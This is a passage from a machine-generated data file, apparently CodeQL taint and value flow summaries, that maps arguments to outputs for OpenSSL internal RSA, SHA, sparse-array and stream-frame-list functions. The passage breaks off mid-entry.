"Argument[*0].Field[*pss_params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*4]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_new_with_ctx", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_new_with_ctx", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param_unverified", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param_unverified", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_copy", "(RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_copy", "(RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_fromdata", "(RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_fromdata", "(RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_hashalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*hash_algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_maskgenalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*mask_gen].Field[*algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_maskgenhashalg", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*mask_gen].Field[*hash_algorithm_nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_saltlen", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*salt_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_hashalg", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*hash_algorithm_nid]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_maskgenhashalg", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*mask_gen].Field[*hash_algorithm_nid]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_saltlen", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*salt_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_set_trailerfield", "(RSA_PSS_PARAMS_30 *,int)", "", "Argument[1]", "Argument[*0].Field[*trailer_field]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_todata", "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[*0].Field[*salt_len]", "Argument[*2].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_todata", "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_trailerfield", "(const RSA_PSS_PARAMS_30 *)", "", "Argument[*0].Field[*trailer_field]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_pss_params_create", "(const EVP_MD *,const EVP_MD *,int)", "", "Argument[2]", "ReturnValue[*].Field[**saltLength].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_to_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_to_ctx", "(EVP_MD_CTX *,EVP_PKEY_CTX *,const X509_ALGOR *,EVP_PKEY *)", "", "Argument[3]", "Argument[*1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_all_params", "(RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_set0_libctx", "(RSA *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_libctx", "(RSA *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_pss_params", "(RSA *,RSA_PSS_PARAMS *)", "", "Argument[*1]", "Argument[*0].Field[**pss]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_set0_pss_params", "(RSA *,RSA_PSS_PARAMS *)", "", "Argument[1]", "Argument[*0].Field[*pss]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_derive_params_from_pq", "(RSA *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_derive_params_from_pq", "(RSA *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_generate_key", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_sp800_56b_pairwise_test", "(RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_todata", "(RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[*1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify", "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)", "", "Argument[2]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*10]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*2]", "Argument[*8]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[*8]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[10]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[12]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[12]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsaz_mod_exp_avx512_x2", "(unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_doall_arg", "(const OPENSSL_SA *,..(*)(..),void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_get", "(const OPENSSL_SA *,ossl_uintmax_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_sa_num", "(const OPENSSL_SA *)", "", "Argument[*0].Field[*nelem]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sa_set", "(OPENSSL_SA *,ossl_uintmax_t,void *)", "", "Argument[1]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_drop_frames", "(SFRAME_LIST *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*offset]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**head].Field[*range]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**tail].Field[*range]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**head].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**tail].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**head].Field[*range]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**tail].Field[*range]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**head].Field[*pkt]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**tail].Field[*pkt]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**head].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_insert", "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**tail].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_is_head_locked", "(SFRAME_LIST *)", "", "Argument[*0].Field[*head_locked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_lock_head", "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_sframe_list_move_data", "(SFRAME_LIST *,sframe_list_write_at_cb *,void *)", "", "Argument[*2].Field[*alloc]", "Argument[*2].Field[*head_offset]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sframe_list_peek", "(const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_sha1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha1_ctrl", "(SHA_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[1]", "Argument[*0].Field[*pad]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[2]", "Argument[*0].Field[*block_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_init", "(KECCAK1600_CTX *,unsigned char,size_t)", "", "Argument[2]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bufsz]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_squeeze", "(KECCAK1600_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sha3_update", "(KECCAK1600_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bufsz]", "value", "dfc-generated"] + - ["", "", True, "ossl_siv128_copy_ctx", "(SIV128_CONTEXT *,SIV128_CONTEXT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 